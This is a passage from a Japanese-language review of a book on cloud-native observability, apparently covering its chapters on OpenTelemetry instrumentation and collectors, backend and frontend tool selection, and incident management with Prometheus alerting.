conventions)の重要性を指摘しています。OpenTelemetryでは、意味論的規約に基づいてテレメトリデータにメタデータを付与することで、バックエンドでの効果的な相関分析を可能にしています。例えば、トレースデータとログデータに共通の属性を付与しておくことで、特定のリクエストに関連するすべてのログを容易に検索・分析できます。こうした相関分析は、複雑な分散システムの動作を理解し、パフォーマンスの問題や障害の原因を特定する上で欠かせません。opentelemetry.io従来、テレメトリデータの相関分析は、各ベンダーやツールに固有の方法で行われてきました。しかし、OpenTelemetryの意味論的規約により、ベンダーに依存しない形で相関分析を行うことができるようになります。これは、マルチクラウド環境やマイクロサービスアーキテクチャを採用している組織にとって特に大きなメリットとなるでしょう。統一された方法でテレメトリデータを収集・処理できれば、システム全体の可視性が向上し、問題の迅速な特定と解決が可能になります。自動計装と手動計装の使い分け計装に関しては、**アプリケーションのコードを変更せずに自動的にテレメトリを生成する自動計装の重要性が強調されています。 speakerdeck.com**自動計装は、アプリケーションフレームワークやライブラリと連携して、HTTPリクエスト、データベースクエリ、外部サービス呼び出しなどの主要な操作を自動的にトレースします。これにより、開発者はアプリケーションのコードを変更することなく、システムの動作を可視化できます。Figure 4.5 Concept of OpenTelemetry collection (from upstream docs; https://opentelemetry.io/docs/reference/specification/logs/overview/) より引用自動計装は、Observabilityの第一歩として非常に重要な役割を果たします。特に、レガシーなアプリケーションや、コード変更が困難な場合には、自動計装が唯一の選択肢となることもあるでしょう。また、自動計装により得られるデータは、システムのベースラインを把握する上でも役立ちます。ただし、自動計装には限界もあります。アプリケーション固有のビジネスロジックに関連する情報は、自動計装では捕捉できないことが多いのです。そのため、より詳細な分析を行うには、OpenTelemetry SDKを使った手動計装が必要になります。手動計装では、開発者がアプリケーションのコードに直接計装を追加します。これにより、重要なビジネスメトリクスや、アプリケーション固有のイベントを収集することができます。例えば、電子商取引サイトであれば、注文処理の各ステップにおける所要時間や、注文金額などのメトリクスを収集することが考えられます。自動計装と手動計装は、相互に補完する関係にあります。自動計装でシステムの全体像を把握した上で、手動計装でより詳細な情報を収集するのが理想的です。両者を適切に組み合わせることで、システムの可視性を最大限に高めることができるでしょう。OpenTelemetry collectorの役割と設定OpenTelemetry collectorは、エージェントとしての中核的な役割を担っており、あらゆるソースからのテレメトリデータを収集し、フィルタリング、サンプリング、属性の追加などの処理を行った上で、様々なバックエンドシステムに転送します。これにより、OpenTelemetry collectorは、Observabilityデータのハブとして機能し、データの流れを集中管理することができます。OpenTelemetry collectorの設定は、YAMLを使って行います。設定ファイルでは、受信したテレメトリデータをどのように処理し、どの宛先に転送するかを定義します。各シグナルタイプ(メトリクス、トレース、ログ)ごとにパイプラインを設定し、パイプラインの各段階でレシーバー、プロセッサー、エクスポーターを組み合わせて使用します。Figure 4.6 The OpenTelemetry collector and its components より引用この柔軟な設定により、OpenTelemetry collectorは様々な環境に適応できます。例えば、オンプレミスとクラウドが混在する環境では、オンプレミスの既存システムからのデータをOpenTelemetry collectorで収集し、クラウドのバックエンドに転送するといった使い方が可能です。また、複数のバックエンドを併用している場合も、OpenTelemetry collectorを中心とすることで、データの流れを一元管理できます。ただし、OpenTelemetry collectorの設定には注意が必要です。適切なレシーバー、プロセッサー、エクスポーターを選択し、それぞれの設定を最適化しなければなりません。特に、大規模な環境では、データ量が膨大になることがあるため、フィルタリングやサンプリングの設定が重要になります。また、セキュリティの観点から、データの暗号化や認証の設定も欠かせません。著者は、OpenTelemetry collectorの具体的な設定例も提示しています。この例では、サンプルアプリケーション「ho11y」からメトリクスとトレースを収集し、Prometheusをメトリクスのバックエンドに、Jaegerをトレースのバックエンドに使用しています。Figure 4.7 Example OpenTelemetry pipeline for traces and metrics より引用設定ファイルでは、Prometheusレシーバーを使ってPrometheusフォーマットのメトリクスを収集し、OTLPレシーバーを使ってOTLPフォーマットのトレースを収集しています。収集したデータはバッチ処理された後、Prometheusエクスポーターを通じてPrometheusに、Jaegerエクスポーターを通じてJaegerに送信されます。このような設定例を参考にしつつ、自身の環境に合わせてOpenTelemetry collectorの設定を最適化していくことが求められます。設定ファイルのバージョン管理を行い、変更履歴を追跡できるようにしておくことも重要でしょう。また、設定の変更が及ぼす影響を事前にテストし、問題がないことを確認してから本番環境に適用するなど、慎重な運用が必要です。OpenTelemetryの柔軟性と拡張性OpenTelemetryの技術的な側面に目を向けると、その柔軟性と拡張性が際立っています。OpenTelemetryは、ネイティブなOTLPをサポートするだけでなく、Prometheus、Jaeger、Zipkin、Fluentdなど、既存の様々なフォーマットやプロトコルに対応するレシーバーとエクスポーターを提供しています。これにより、既存のシステムからOpenTelemetryへの移行を段階的に進められるほか、複数のバックエンドシステムを並行して利用することもできます。この柔軟性は、OpenTelemetryの大きな強みの一つです。従来のモニタリングツールやObservabilityプラットフォームは、独自のデータフォーマットやプロトコルを使用していることが多く、他のシステムとの連携が困難でした。しかし、OpenTelemetryなら、そうした既存のシステムともスムーズにデータをやり取りできます。これにより、ベンダーロックインを回避しつつ、既存の資産を活かしながら、Observabilityの向上を図ることができるのです。また、OpenTelemetryは、コミュニティ主導で活発に開発が進められているオープンソースプロジェクトです。ユーザーは、OpenTelemetryの機能拡張に自ら貢献することもできます。例えば、新しいレシーバーやエクスポーターを開発し、OpenTelemetryのエコシステムに追加することが可能です。こうしたコミュニティの力によって、OpenTelemetryは今後もさらに発展していくことが期待されます。パフォーマンスとリソース効率パフォーマンスの観点では、OpenTelemetry collectorのスループットとリソース使用量に注意を払う必要があります。大規模な環境では、多数のエージェントが生成する膨大なテレメトリデータを効率的に処理しなければなりません。そのため、collectorのパフォーマンスチューニングが重要になります。例えば、バッチ処理の設定を最適化することで、データ処理のスループットを向上させることができます。一方で、バッチサイズを大きくしすぎると、メモリ使用量が増大するため、適切なバランスを見出す必要があります。また、サンプリングを適用してデータ量を削減することも、パフォーマンス改善に効果的です。ただし、サンプリングによって情報が欠落するリスクがあるため、慎重な設定が求められます。リソース使用量の観点では、メモリ使用量の制御が特に重要です。OpenTelemetry collectorは、受信したデータをメモリ上に保持するため、データ量が増大するとメモリ使用量も増加します。これを放置すると、メモリ不足によってcollectorのパフォーマンスが低下したり、最悪の場合にはOOM (Out of Memory) キルによってプロセスが強制終了したりする可能性があります。こうしたリスクを回避するため、OpenTelemetry collectorにはメモリリミッタープロセッサが用意されています。メモリリミッタープロセッサを使用すると、メモリ使用量が一定のしきい値を超えた場合に、データの受信を一時的に制限したり、古いデータを削除したりすることができます。ただし、データの欠落が許容できないケースでは、十分なメモリリソースを確保する必要があります。また、OpenTelemetry collectorのパフォーマンスは、ホスト環境の影響も受けます。特に、コンテナ環境では、リソース制限の設定によってパフォーマンスが大きく左右されます。適切なCPUとメモリのリソース制限を設定し、必要に応じて縮退運転できるようにしておくことが重要です。パフォーマンスとリソース効率の最適化には、継続的なモニタリングが欠かせません。OpenTelemetry collectorの主要なメトリクス(CPU使用率、メモリ使用量、データ処理のレイテンシなど)を常に監視し、ボトルネックを特定して改善策を講じる必要があります。また、負荷テストを実施して、実際のピーク時の負荷に耐えられるかを確認しておくことも重要です。Observabilityの新しい標準としてのOpenTelemetry本章では、Observabilityの実現に向けて、エージェントと計装が果たす重要な役割が詳細に説明されました。特に、OpenTelemetryは、ベンダーロックインを回避しつつ、多様なテレメトリデータを統一的に扱うことができる画期的なフレームワークです。OpenTelemetryが提供する豊富なメタデータと意味論的規約は、システムの動作を深く理解し、問題の迅速な特定と解決に役立ちます。従来のモニタリングツールやObservabilityプラットフォームは、ベンダー固有のデータフォーマットやAPIを使用していたため、相互運用性に乏しく、複数のツールを併用するのが難しいという問題がありました。しかし、OpenTelemetryは、このような問題を解決し、Observabilityの新しい標準となる可能性を秘めています。OpenTelemetryが広く普及することで、異なるベンダーのツールやサービス間でシームレスにテレメトリデータをやり取りできるようになります。これにより、エンドツーエンドの可視化、ベンダーロックインの回避、既存システムとの統合が容易になるでしょう。また、OpenTelemetryのオープンなエコシステムは、イノベーションを促進し、Observabilityのベストプラクティスの共有を加速させるはずです。自動化と最適化の必要性自動計装と手動計装を適切に組み合わせることで、アプリケーションコードへの変更を最小限に抑えつつ、システムの可視性を高めることができます。自動計装は、Observabilityの基盤を素早く構築するのに役立ちます。一方、手動計装は、ビジネスに特化した重要なメトリクスを収集するのに欠かせません。ただし、計装を実施するだけでは不十分です。収集したテレメトリデータを効果的に活用するには、データのクリーンアップ、集計、相関分析など、一連のデータ処理が必要となります。OpenTelemetry collectorは、こうしたデータ処理を自動化し、最適化する上で重要な役割を果たします。特に、大規模で複雑なシステムでは、膨大なテレメトリデータが生成されるため、データの適切なフィルタリングとサンプリングが不可欠です。OpenTelemetry collectorの柔軟な設定により、環境に合わせたデータ処理を実現できます。また、セキュリティ、パフォーマンス、リソース効率など、運用上の要件を満たすように設定を最適化することも重要です。Observabilityの継続的な改善Observabilityは、一朝一夕で実現できるものではありません。システムの変化に合わせて、Observabilityの仕組みも継続的に改善していく必要があります。OpenTelemetryは、この継続的な改善を支援する強力なプラットフォームです。OpenTelemetryを活用することで、システムの変更に素早く適応できます。新しいサービスやコンポーネントを追加する際に、計装を自動的に適用できます。また、OpenTelemetryの柔軟なアーキテクチャにより、バックエンドのツールやサービスを段階的に入れ替えることも可能です。ただし、OpenTelemetryを効果的に活用するには、組織全体でのコラボレーションが欠かせません。開発者、運用チーム、セキュリティチーム、ビジネス関係者など、様々なステークホルダーが連携し、Observabilityの目標と戦略を共有する必要があります。また、Observabilityのベストプラクティスを継続的に学習し、実践していくことも重要です。5 Backend destinationsバックエンドの選択がObservabilityの成功を左右する本章「Backend destinations」では、Observabilityデータの保存と分析を担うバックエンドの重要性について詳しく解説されています。著者は、適切なバックエンドの選択が、Observabilityの取り組みの成功を大きく左右すると強調しています。opentelemetry.ioバックエンドは、収集されたログ、メトリクス、トレースなどのテレメトリデータを保存し、それらのデータに対するクエリやアラートの実行、ダッシュボードの作成などを可能にする中核的なコンポーネントです。バックエンドの機能性、パフォーマンス、スケーラビリティ、信頼性は、Observabilityシステム全体の有効性に直結します。したがって、自社のニーズや要件に合ったバックエンドを選択することが極めて重要です。著者は、バックエンドの選定において考慮すべき主要な基準として、コスト、オープンスタンダードのサポート、バックプレッシャーへの対応、カーディナリティとクエリのパフォーマンスなどを挙げています。コストの観点では、データの取り込み、保存、クエリに関連する直接的なコストに加えて、エンジニアリングチームのサポート、トレーニング、セキュリティパッチ適用などの間接的なコストも考慮する必要があります。オープンスタンダードのサポートは、ベンダーロックインを回避し、相互運用性を確保するために重要です。OpenTelemetryやOpenMetricsなどの業界標準への対応は、バックエンドの選定において重要な基準となります。バックプレッシャーへの対応は、大量のテレメトリデータを生成するソースからのデータ取り込みを安定的に行うために不可欠です。バックエンドとソース間にキューイングメカニズムを導入することで、バックプレッシャーに起因するデータ欠損や性能低下を防ぐことができます。カーディナリティとクエリのパフォーマンスは、特にメトリクスデータを扱う際の重要な考慮事項です。次元の値が大きく変動するメトリクスは、時系列データベース(TSDB)におけるカーディナリティの爆発を引き起こす可能性があります。カラムナーストレージを採用したClickHouseやDruidなどのデータストアは、高カーディナリティのメトリクスにも対応できます。シグナルタイプごとのバックエンドオプション本章では、ログ、メトリクス、トレースのそれぞれのシグナルタイプに適したバックエンドオプションについて、クラウドプロバイダー、オープンソース、商用の観点から詳しく解説されています。ログのバックエンドでは、Amazon CloudWatch Logs、Azure Monitor Logs、Google Cloud Loggingなどのクラウドプロバイダーのサービスや、Elasticsearch、OpenSearch、Grafana Lokiなどのオープンソースソリューション、Splunk、Instana、Logz.ioなどの商用製品が紹介されています。これらのログバックエンドは、インデックス付きの全文検索、構造化クエリ、アラート、ダッシュボードなどの機能を提供します。ログデータのボリュームが大きい場合や、長期的な保存が必要な場合は、コストとパフォーマンスのバランスを考慮してバックエンドを選択する必要があります。クラウドプロバイダーのサービスは、マネージドな環境で手間のかからない運用が可能ですが、コストが高くなる傾向があります。一方、オープンソースソリューションは、自前での運用が必要ですが、コストを抑えることができます。Figure 5.2 Time series database concept, showing N time series of the mysvc_http_request_total metric より引用メトリクスのバックエンドとしては、時系列データベース(TSDB)が主流です。PrometheusやInfluxDBなどのオープンソースのTSDBに加え、各クラウドプロバイダーのマネージドPrometheusサービスや、M3DB、VictoriaMetricsなどのスケーラブルなソリューションが注目されています。TSDBは、メトリクスデータの効率的な格納と、時間範囲やラベルに基づくクエリを可能にします。PrometheusはKubernetesエコシステムにおける事実上の標準となっており、多くのツールやサービスとの統合が進んでいます。一方、M3DBやVictoriaMetricsは、Prometheusとの互換性を保ちつつ、よりスケーラブルなアーキテクチャを提供します。トレースのバックエンドは、JaegerやZipkinなどのオープンソースプロジェクトが広く採用されている一方で、クラウドプロバイダーやObservabilityベンダーの商用ソリューションも充実しています。ElasticsearchやOpenSearchもトレースのバックエンドとして使用できます。トレースデータは、分散システムにおけるリクエストの流れを可視化し、パフォーマンスのボトルネックや異常を特定するために使用されます。Jaegerは、OpenTelemetryとの緊密な統合により、幅広いプログラミング言語やフレームワークをサポートしています。商用ソリューションは、AIを活用した自動的な異常検知やパフォーマンス最適化の提案など、高度な分析機能を提供します。cloud.google.comカーディナリティの課題とカラムナーデータストア本章では、メトリクスのバックエンドを選択する際の重要な考慮事項として、カーディナリティの問題が取り上げられています。カーディナリティとは、メトリクスの各次元が取り得る値の数を指します。ユーザーIDやセッションIDのように、値が大きく変動する次元を持つメトリクスを扱う場合、TSDBではカーディナリティの爆発が発生し、データの取り込み、保存、クエリのパフォーマンスに深刻な影響を与える可能性があります。この課題に対処するために、著者はカラムナーストレージを採用したデータストアの活用を提案しています。カラムナーストレージは、データを列単位で格納することで、高いデータ圧縮率と優れたクエリパフォーマンスを実現します。Apache Cassandra、Apache Druid、ClickHouse、Snowflakeなどが代表的なカラムナーデータストアとして紹介されています。Figure 5.5 Row-oriented vs. column-oriented storage より引用特に、ClickHouseを使ったログのバックエンドの例では、OpenTelemetry CollectorとClickHouseを組み合わせることで、ログデータをカラムナーフォーマットで効率的に保存し、SQLを使って柔軟にクエリできることが示されています。github.comカラムナーストレージは、高カーディナリティのメトリクスだけでなく、ログやトレースデータの保存と分析にも適しています。ログデータは、多様な構造を持つイベントの集合体であり、カラムナー形式での保存により、クエリのパフォーマンスを大幅に向上させることができます。トレースデータも、スパンのフィールドを列として保存することで、効率的なクエリが可能になります。カラムナーデータストアは、Observabilityデータの長期的な保存と分析において重要な役割を果たします。データレイクとしてのカラムナーストレージに、ログ、メトリクス、トレースを統合することで、包括的な分析と相関関係の発見が可能になります。また、カラムナー形式のデータは、機械学習やデータマイニングのワークロードにも適しており、異常検知やパターン認識などの高度な分析にも活用できます。ポリグロットバックエンドアーキテクチャObservabilityデータの種類や特性に応じて、複数のバックエンドを組み合わせて使用するポリグロットなアプローチも有効です。例えば、ログデータにはElasticsearch、メトリクスデータにはPrometheus、トレースデータにはJaegerを使用するといった構成が考えられます。ポリグロットバックエンドアーキテクチャは、各シグナルタイプに最適化されたバックエンドを選択することで、パフォーマンスとコスト効率を最大化できます。一方で、異なるバックエンド間でのデータの相関分析や一貫性の確保が課題となります。この課題に対処するために、OpenTelemetryなどの共通の収集および転送層を導入することが推奨されます。OpenTelemetryは、ログ、メトリクス、トレースを統一的に扱うことができ、バックエンドの違いを吸収します。また、Grafanaなどの可視化ツールは、複数のバックエンドからデータを取得し、統合されたダッシュボードを提供することができます。ポリグロットバックエンドアーキテクチャの採用には、運用の複雑さと管理コストの増加というトレードオフがあります。バックエンドごとにデータの保存期間やアクセス制御を適切に設定し、モニタリングとアラート設定を行う必要があります。また、バックエンド間のデータ同期や整合性の問題にも注意が必要です。制約と誓約本章で提示された知見を踏まえると、Observabilityにおけるバックエンドの選定は、システムアーキテクチャとデータ管理の両面から慎重に検討すべき重要な意思決定であると言えます。適切なバックエンドの選択は、Observabilityの取り組みの成功を大きく左右します。組織は、自社のユースケースに合ったバックエンドを選択する必要があります。コスト、パフォーマンス、スケーラビリティ、相互運用性など、さまざまな要素を総合的に評価し、長期的な視点に立ってバックエンドの選定を行うべきです。また、バックエンドの特性や制約を深く理解し、データモデルに適したアーキテクチャを採用することが重要です。メトリクスのカーディナリティ問題に代表されるように、バックエンドの選択はデータの特性に大きく依存します。高カーディナリティのメトリクスを扱う場合は、カラムナーストレージの採用を検討すべきです。また、ログやトレースデータの長期的な保存と分析においても、カラムナーデータストアが有力な選択肢となります。ポリグロットバックエンドアーキテクチャは、各シグナルタイプに最適化されたバックエンドを組み合わせることで、パフォーマンスとコスト効率を最大化できる可能性を秘めています。ただし、運用の複雑さと管理コストの増加には十分な注意が必要です。OpenTelemetryなどの共通の収集および転送層を導入し、可視化ツールを活用することで、バックエンド間のデータ統合と相関分析を実現できます。6 Frontend destinationsフロントエンドとオールインワンソリューションの役割本章「Frontend destinations」では、Observabilityデータの可視化と分析を担うフロントエンドとオールインワンソリューションについて詳しく解説されています。フロントエンドは、バックエンドに保存されたObservabilityデータと対話し、ユーザーが様々なグラフィカルおよびテキスト形式でアドホックな質問に答えを見つけるために使用します。一方、オールインワンソリューションは、バックエンドとフロントエンドを一体化したものであり、ベンダーが設計したバックエンドとの組み合わせでのみ使用できます。著者は、フロントエンドとオールインワンソリューションの選択が、Observabilityの取り組みの成功に大きな影響を与えることを強調しています。適切なツールを選択することで、開発者やビジネスステークホルダーに価値を提供し、機能の出荷やバグ修正の加速、本番環境での問題解決時間の短縮、開発者の生産性向上などを実現できます。オープンソースとコマーシャルオファリングの比較本章では、Grafana、Kibana、OpenSearch Dashboardsなどの人気のあるオープンソースフロントエンドや、Jaeger、Zipkin、Apache SkyWalkingなどのオールインワンソリューションについて詳細に説明されています。これらのオープンソースツールは、幅広いバックエンドとの統合、豊富な視覚化オプション、アラート機能などを提供しており、自社のObservabilityソリューションを構築する際の強力な基盤となります。Figure 6.1 An example Grafana data source, showing configuration options より引用GrafanaはPrometheusと、KibanaはElasticsearchと、それぞれ緊密に連携しており、メトリクスとログの可視化において重要な役割を果たしています。一方、JaegerやZipkinは、OpenTelemetryとの統合により、幅広いプログラミング言語やフレームワークをサポートする分散トレーシングソリューションとして広く採用されています。Figure 6.6 Jaeger UI showing all traces for a certain tag (http.status_code=404) より引用また、SigNozやUptraceなど、ClickHouseをバックエンドに使用するオープンソースのオールインワンソリューションも登場しています。これらのツールは、OpenTelemetryを活用してテレメトリデータを収集し、SQLを使ってデータを柔軟にクエリできる点が特徴です。一方、商用ソリューションは、高度な分析機能、AIを活用した異常検知、パフォーマンス最適化の提案など、より豊富な機能を提供します。DatadogやNew Relicなどの有名ベンダーは、自動計装に基づくアウトオブザボックスの機能や、幅広いインテグレーションを備えています。また、Lightstepのようなunified storage layerを持つソリューションは、異なるシグナルタイプを統合的に扱うことができます。ツール選定の考慮事項フロントエンドとオールインワンソリューションの選定においては、以下の点を考慮する必要があります。コスト: フロントエンドのコストは予測可能ですが、オールインワンソリューションではバックエンドのコストも考慮する必要があります。オープンソースを選択する場合は、サポート、パッチ適用、スケーリングなどの運用コストを見積もることが重要です。ベンダーロックインの回避: オープンスタンダード(OpenTelemetryなど)をサポートするオールインワンソリューションは、ベンダーロックインを最小限に抑えつつ、運用負荷を軽減できる優れた選択肢です。オープンソースプロジェクトの健全性: オープンソースツールを選ぶ際は、プロジェクトの背景、ライセンス、コントリビューターの多様性、ドキュメントの品質、Issue対応の速度などを評価することが不可欠です。相関分析のサポート: 複数のシグナルタイプをサポートするツールにおいては、時間ベースの相関分析や、あるシグナルタイプから別のシグナルタイプへのスムーズな移動を可能にする機能が重要です。シングルパネルオブグラスとデータ相関の重要性著者は、Observabilityにおける「シングルパネルオブグラス」の概念について言及しています。これは、ログ、メトリクス、トレースなどの異なるシグナルタイプを単一のインターフェースで統合的に扱うことを指します。シングルパネルオブグラスを実現することで、システムの動作を包括的に把握し、問題の迅速な特定と解決が可能になります。ただし、著者は、シングルパネルオブグラスを絶対的な要件とするのではなく、柔軟なアプローチを取ることを推奨しています。つまり、主要なフロントエンドツールを中心に据えつつ、必要に応じて専門的なツールを組み合わせるのが現実的だと述べています。シングルパネルオブグラスに関連して、データの相関分析が重要な役割を果たします。異なるシグナルタイプ間の関連性を明らかにすることで、複雑なシステムの動作を理解し、パフォーマンスの問題や障害の根本原因を特定できます。著者は、Grafana version 10で導入された相関APIを例に挙げ、変数と変換を使用した相関分析の実現方法を紹介しています。フロントエンドとオールインワンの選択プロセスフロントエンドとオールインワンソリューションの選択において、最初に検討すべきは、「構築か、購入か」の意思決定です。社内でObservabilityプラットフォームを構築することが競争上の優位性につながるのでない限り、できる限りアウトソーシングすることが推奨されます。一方、ベンダーやクラウドプロバイダーへの依存を最小限に抑えたい企業では、オープンソースとオープンスタンダードに基づいたソリューションを構築するのが賢明です。選定プロセスでは、以下の点を評価します。総コストの見積もり(ライセンス料、インフラコスト、運用コストなど)ベンダーロックインのリスクオープンソースプロジェクトの成熟度と持続可能性相関分析を含む主要機能のサポート状況加えて、全てのステークホルダーを巻き込み、要件を明確にすることが肝要です。技術的な側面だけでなく、ビジネス要件や ユーザビリティなども考慮して、最適なソリューションを選択しましょう。Observabilityツールの継続的な評価と改善Observabilityの分野は急速に発展しており、新しいツールやソリューションが次々と登場しています。選択したフロントエンドやオールインワンソリューションが、将来にわたって組織のニーズを満たし続けられるとは限りません。したがって、定期的にツールを評価し、必要に応じて見直しや改善を行うことが重要です。評価の際は、以下の点を考慮します。新しい機能やインテグレーションの追加パフォーマンスとスケーラビリティの向上コミュニティの活発さとサポートの継続性ライセンスやコストモデルの変更また、Observabilityツールの運用においては、以下のような継続的な改善活動が求められます。ダッシュボードやアラートの最適化データ保持期間とコストのバランス調整新しいシグナルソースやデータ型の取り込みユーザートレーニングとドキュメントの整備Observabilityは、単なるツールの導入で完結するものではありません。組織全体でObservabilityの文化を醸成し、継続的な改善を通じて、システムの可視性と運用効率を高めていく必要があります。Observabilityの価値実現に向けて本章では、Observabilityにおけるフロントエンドとオールインワンソリューションの重要性、それらのツールの選定と運用における考慮事項について詳しく解説されました。Observabilityの真の目的は、システムの動作を深く理解し、問題の迅速な特定と解決を可能にすることで、ビジネス価値の実現を支えることにあります。適切なツールを選択し、継続的な改善を積み重ねることで、Observabilityの取り組みを成功に導くことができます。オープンソースとオープンスタンダードを活用しつつ、組織のコンテキストに合ったソリューションを構築することが肝要です。また、ログ、メトリクス、トレースなど、異なるシグナルタイプを相関分析できる機能を備えることで、システムの全体像を俯瞰し、問題の根本原因を特定しやすくなります。フロントエンドとオールインワンソリューションは、Observabilityデータの可視化と分析を通じて、ソフトウェアエンジニアリングとシステム運用に大きな価値をもたらします。本章で得られた知見を活かし、自組織に適したツール戦略を練り上げていきましょう。Observabilityの文化を育み、データドリブンな意思決定を促進することで、ビジネスの俊敏性と回復力を高めることができるはずです。7 Cloud operationsインシデント管理のベストプラクティス本章「Cloud operations」では、クラウドネイティブアプリケーションを円滑に運用するための重要な要素であるインシデント管理、ヘルスモニタリング、アラート、ガバナンス、使用状況の追跡について詳しく解説されています。特に、インシデント管理に関しては、インシデントの検出、処理、そしてインシデントから学ぶことの重要性が強調されています。クラウドネイティブシステムは多数のコンポーネントで構成されており、これらのコンポーネントは相互に依存しています。そのため、ひとつのコンポーネントで問題が発生すると、その影響が全体に波及する可能性があります。こうした複雑なシステムにおいて、エンドユーザーに影響を与える問題が発生した場合、どのコンポーネントが根本原因なのかを特定することは容易ではありません。したがって、システムの外部から継続的にヘルスモニタリングとパフォーマンスモニタリングを行い、期待通りに機能していないことを素早く検知することが不可欠です。モニタリングシステムは、各コンポーネントの主要なメトリクスを収集し、異常値や閾値超過を検出できるように設定する必要があります。これにより、インシデントの兆候をいち早く捉え、影響が拡大する前に対処できます。著者が強調しているのは、インシデントが発生した際には、原因分析よりも問題の解決を優先すべきだということです。つまり、エンドユーザーへの影響を最小限に抑えることが最優先事項であり、そのためには問題の切り分けと適切な対処を迅速に行う必要があります。具体的には、関連するログやメトリクスを確認してシステムの状態を把握し、影響範囲を特定した上で、適切な措置を講じる必要があります。また、ステークホルダーに対しても、状況と対応方針を適宜共有することが重要です。インシデントが収束した後は、再発防止に向けた原因分析が必要です。著者は、非難を伴わないポストモーテム(事後分析)を行うべきだと述べています。ポストモーテムでは、「5 Whys」などの手法を用いて根本原因を掘り下げ、具体的な再発防止策を特定することが重要です。さらに、インシデントの経緯と学びを文書化し、組織内で共有することで、将来のインシデント対応に活かすことができます。インシデント管理のベストプラクティスを確立するためには、以下のような点に留意する必要があります。インシデントの検知と通知の自動化: モニタリングシステムと連動したアラート設定により、インシデントの兆候を早期に検知し、適切な担当者に自動的に通知する。インシデントの優先度付けとエスカレーション: インシデントの影響度に応じて優先度を設定し、適切なタイミングでエスカレーションを行う。コミュニケーションの明確化: インシデント対応の際の連絡体制とコミュニケーションチャネルを予め定義しておく。ランブックとプレイブックの整備: よくあるインシデントへの対処手順をランブック(運用手順書)やプレイブック(対応シナリオ)としてまとめ、迅速かつ的確な対応を可能にする。ポストモーテムの徹底: インシデントの原因究明と再発防止策の特定を徹底的に行い、組織としての学びを促進する。これらのプラクティスを確実に実行できるよう、定期的にインシデント対応の訓練を行うことも重要です。様々なシナリオを想定した机上訓練や、実際にシステムの一部に障害を発生させるカオスエンジニアリングなどを通じて、チームのインシデント対応力を高めていくことができます。アラート設計のポイントと継続的な最適化アラートは、システムの異常を検知し、適切な担当者に通知するための重要な仕組みです。しかし、アラートの設定が不適切だと、大量の無駄なアラートが発生して対応が追いつかなくなったり、逆に重大な問題を見逃してしまったりする恐れがあります。したがって、アラートの設計には細心の注意を払う必要があります。著者は、アラートの設計において、以下のような点が重要だと指摘しています。重要度の設定: インシデントの影響度に応じて、アラートの重要度(critical, warning, infoなど)を適切に設定する。閾値の調整: アラートの閾値を適切に設定し、誤検知や見逃しを最小限に抑える。アラートのグループ化と抑制: 関連するアラートをグループ化し、不要なアラートを抑制することで、アラートのノイズを減らす。エスカレーションパスの明確化: アラートの重要度に応じて、エスカレーション先と連絡方法を明確に定義する。これらの設定を適切に行うことで、重要なアラートを見逃すことなく、迅速に対応できるようになります。本章では、Prometheusを使ったアラートの設定方法が具体的に解説されています。PrometheusではAlertmanagerと呼ばれるコンポーネントが、アラートのグループ化や通知の設定を担当します。Prometheusの設定ファイルでアラートルールを定義し、Alertmanagerの設定ファイルでアラートの通知先やグループ化のルールを指定します。著者が提示した例では、PrometheusのAPIコール数が一定のしきい値を超えた場合にアラートが発報され、Alertmanagerを経由してWebhookに通知が送信されます。アラートルールの定義では、PromQLと呼ばれるクエリ言語を使ってアラート条件を記述します。また、ラベルやアノテーションを使ってアラートの詳細情報を指定できます。Figure 7.2 Prometheus and the Alertmanager より引用Alertmanagerの設定では、アラートのグループ化や通知先の指定、通知メッセージのカスタマイズなどが可能です。たとえば、同じアプリケーションに関連するアラートをまとめたり、アラートの重要度に応じて通知先を変えたりといったことができます。また、抑制ルールを設定することで、特定の条件に一致するアラートを一時的に抑制することもできます。アラートの設計は一度で完璧にはできません。システムの変更に合わせて、継続的にアラートの設定を見直し、最適化していく必要があります。以下のような点に注意しながら、アラートの改善を進めていくことが重要です。アラートの効果の定期的な評価: アラートが期待通りに機能しているか、定期的に評価する。不要なアラートが多い場合は、閾値の調整やアラートルールの見直しを検討する。システム変更へのタイムリーな対応: システムの変更に合わせて、アラートの設定を速やかに更新する。特に、新しい機能のリリース時には、適切なアラートを設定するように心がける。アラートの受信者の最適化: アラートの受信者が適切か定期的にレビューする。担当者の変更やオンコール体制の見直しに合わせて、アラートの通知先を更新する。エスカレーションパスの確認: 重要なアラートが確実にエスカレーションされるよう、エスカレーションパスを定期的にテストする。アラートは、インシデント管理において重要な役割を果たします。適切なアラートの設定は、インシデントの早期検知と迅速な対応を可能にします。しかし、アラートの設計は継続的な改善が必要なプロセスです。システムの変更に合わせてアラートを最適化し、運用チームの負荷を最小限に抑えながら、インシデントを確実に検知できるようにしていくことが求められます。今後の課題本章では、クラウドネイティブアプリケーションの運用において重要となるインシデント管理、ヘルスモニタリング、アラート、ガバナンス、使用状況の追跡について詳しく解説されました。インシデント管理については、インシデントの検知から対応、そしてポストモーテムまでのプロセスを適切に定義し、実行することが重要だと述べられています。特に、インシデント発生時には問題の解決を最優先し、その後に原因分析を行うべきだと強調されています。また、ポストモーテムを通じて、インシデントから学びを得て、再発防止につなげることが重要だと指摘されています。アラートについては、適切な設計と継続的な最適化が必要だと述べられています。アラートの重要度や閾値の設定、アラートのグループ化や抑制、エスカレーションパスの明確化などが、アラートの効果的な運用に欠かせないポイントとして挙げられています。また、Prometheusを使ったアラートの設定方法が、具体的な例を交えて解説されています。ユーザー行動の追跡に関しては、Real User Monitoringを使ったエンドユーザーの行動分析や、CloudTrailなどを使った内部ユーザーのアクション追跡の重要性が指摘されています。これらのデータを活用することで、パフォーマンスの改善やセキュリティ強化、コンプライアンス対応などに役立てることができます。さらに、コスト最適化の重要性についても言及されています。クラウドの利用が拡大する中で、リソースの使用状況を可視化し、無駄な支出を削減することが求められます。AWS Cost and Usage 